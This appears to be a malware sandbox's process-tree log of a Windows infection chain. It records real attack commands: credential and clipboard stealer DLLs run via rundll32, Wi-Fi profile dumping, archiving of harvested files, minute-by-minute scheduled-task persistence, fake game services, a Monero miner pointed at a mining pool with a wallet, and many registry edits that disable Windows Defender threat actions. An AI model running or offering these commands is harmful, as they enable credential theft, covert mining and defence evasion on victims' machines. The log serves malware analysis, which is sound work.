                                                                                                              • Loads dropped DLL
                                                                                                              PID:3052
                                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                                "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
                                                                                                                4⤵
                                                                                                                • Blocklisted process makes network request
                                                                                                                • Loads dropped DLL
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:4376
                                                                                                                • C:\Windows\system32\netsh.exe
                                                                                                                  netsh wlan show profiles
                                                                                                                  5⤵
                                                                                                                    PID:1044
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\474490143322_Desktop.zip' -CompressionLevel Optimal
                                                                                                                    5⤵
                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:4516
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000081001\install.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\1000081001\install.exe"
                                                                                                                3⤵
                                                                                                                • Executes dropped EXE
                                                                                                                • Drops file in Program Files directory
                                                                                                                PID:4764
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
                                                                                                                  4⤵
                                                                                                                    PID:4736
                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                      Sc stop GameServerClient
                                                                                                                      5⤵
                                                                                                                      • Launches sc.exe
                                                                                                                      PID:3400
                                                                                                                    • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                      GameService remove GameServerClient confirm
                                                                                                                      5⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:3964
                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                      Sc delete GameSyncLink
                                                                                                                      5⤵
                                                                                                                      • Launches sc.exe
                                                                                                                      PID:4712
                                                                                                                    • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                      GameService remove GameSyncLink confirm
                                                                                                                      5⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:4972
                                                                                                                    • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                      GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                                                                                                      5⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:3136
                                                                                                                    • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                      GameService start GameSyncLink
                                                                                                                      5⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:1500
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
                                                                                                                    4⤵
                                                                                                                      PID:3808
                                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                                        Sc stop GameServerClientC
                                                                                                                        5⤵
                                                                                                                        • Launches sc.exe
                                                                                                                        PID:2972
                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                        GameService remove GameServerClientC confirm
                                                                                                                        5⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:5024
                                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                                        Sc delete PiercingNetLink
                                                                                                                        5⤵
                                                                                                                        • Launches sc.exe
                                                                                                                        PID:2888
                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                        GameService remove PiercingNetLink confirm
                                                                                                                        5⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:1312
                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                        GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                                                                                                        5⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:4056
                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                        GameService start PiercingNetLink
                                                                                                                        5⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:1960
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
                                                                                                                      4⤵
                                                                                                                        PID:2064
                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                          Sc delete GameSyncLinks
                                                                                                                          5⤵
                                                                                                                          • Launches sc.exe
                                                                                                                          PID:2432
                                                                                                                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                          GameService remove GameSyncLinks confirm
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:996
                                                                                                                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                          GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:3692
                                                                                                                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                          GameService start GameSyncLinks
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:1340
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                                                                                                                        4⤵
                                                                                                                          PID:2700
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe"
                                                                                                                        3⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:256
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000088001\NewB.exe" /F
                                                                                                                          4⤵
                                                                                                                          • Creates scheduled task(s)
                                                                                                                          PID:3288
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000238001\ISetup8.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\1000238001\ISetup8.exe"
                                                                                                                          4⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:3400
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000239001\toolspub1.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\1000239001\toolspub1.exe"
                                                                                                                          4⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:4636
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000240001\4767d2e713f2021e8fe856e3ea638b58.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\1000240001\4767d2e713f2021e8fe856e3ea638b58.exe"
                                                                                                                          4⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:2672
                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
                                                                                                                        3⤵
                                                                                                                        • Blocklisted process makes network request
                                                                                                                        • Loads dropped DLL
                                                                                                                        PID:1680
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3008 -ip 3008
                                                                                                                    1⤵
                                                                                                                      PID:2296
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1596 -ip 1596
                                                                                                                      1⤵
                                                                                                                        PID:3080
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                        1⤵
                                                                                                                          PID:4368
                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                          1⤵
                                                                                                                            PID:4756
                                                                                                                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                            "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                            1⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:2056
                                                                                                                            • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
                                                                                                                              "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                                                                                                              2⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:2520
                                                                                                                              • C:\Windows\Temp\319393.exe
                                                                                                                                "C:\Windows\Temp\319393.exe" --list-devices
                                                                                                                                3⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Loads dropped DLL
                                                                                                                                PID:2272
                                                                                                                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                            "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                            1⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:2936
                                                                                                                            • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
                                                                                                                              "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                                                                                                              2⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:360
                                                                                                                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                            "C:\Program Files (x86)\GameSyncLink\GameService.exe"
                                                                                                                            1⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:2264
                                                                                                                            • C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
                                                                                                                              "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                                                                                                              2⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Drops file in Program Files directory
                                                                                                                              PID:2108
                                                                                                                              • C:\Windows\Temp\190785.exe
                                                                                                                                "C:\Windows\Temp\190785.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x
                                                                                                                                3⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                PID:3888
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSF220.tmp\Install.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSF220.tmp\Install.exe it /uQxdidxIrv 385118 /S
                                                                                                                            1⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Drops file in System32 directory
                                                                                                                            PID:4056
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                              2⤵
                                                                                                                                PID:1128
                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                  3⤵
                                                                                                                                    PID:5164
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                      4⤵
                                                                                                                                        PID:5184
                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                          5⤵
                                                                                                                                            PID:5200
                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                        3⤵
                                                                                                                                          PID:5252
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                            4⤵
                                                                                                                                              PID:5276
                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                5⤵
                                                                                                                                                  PID:5300
                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                              3⤵
                                                                                                                                                PID:5564
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                  4⤵
                                                                                                                                                    PID:5592
                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                      5⤵
                                                                                                                                                        PID:5768
                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                    3⤵
                                                                                                                                                      PID:6020
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                        4⤵
                                                                                                                                                          PID:6052
                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                            5⤵
                                                                                                                                                              PID:5152
                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1960
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                              4⤵
                                                                                                                                                                PID:3728
                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                  PID:5176
                                                                                                                                                                  • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:5804
                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                                                                              2⤵
                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                              PID:5364
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:5996
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:6088
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:4932
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:2968
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5208
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:5228
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:5396
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:5660
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5584
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:5792
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:5596
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:5868
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:5884
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:5948
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:404
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:3016
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:3812
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:5716
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:5784
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:6100
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:952
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:6020
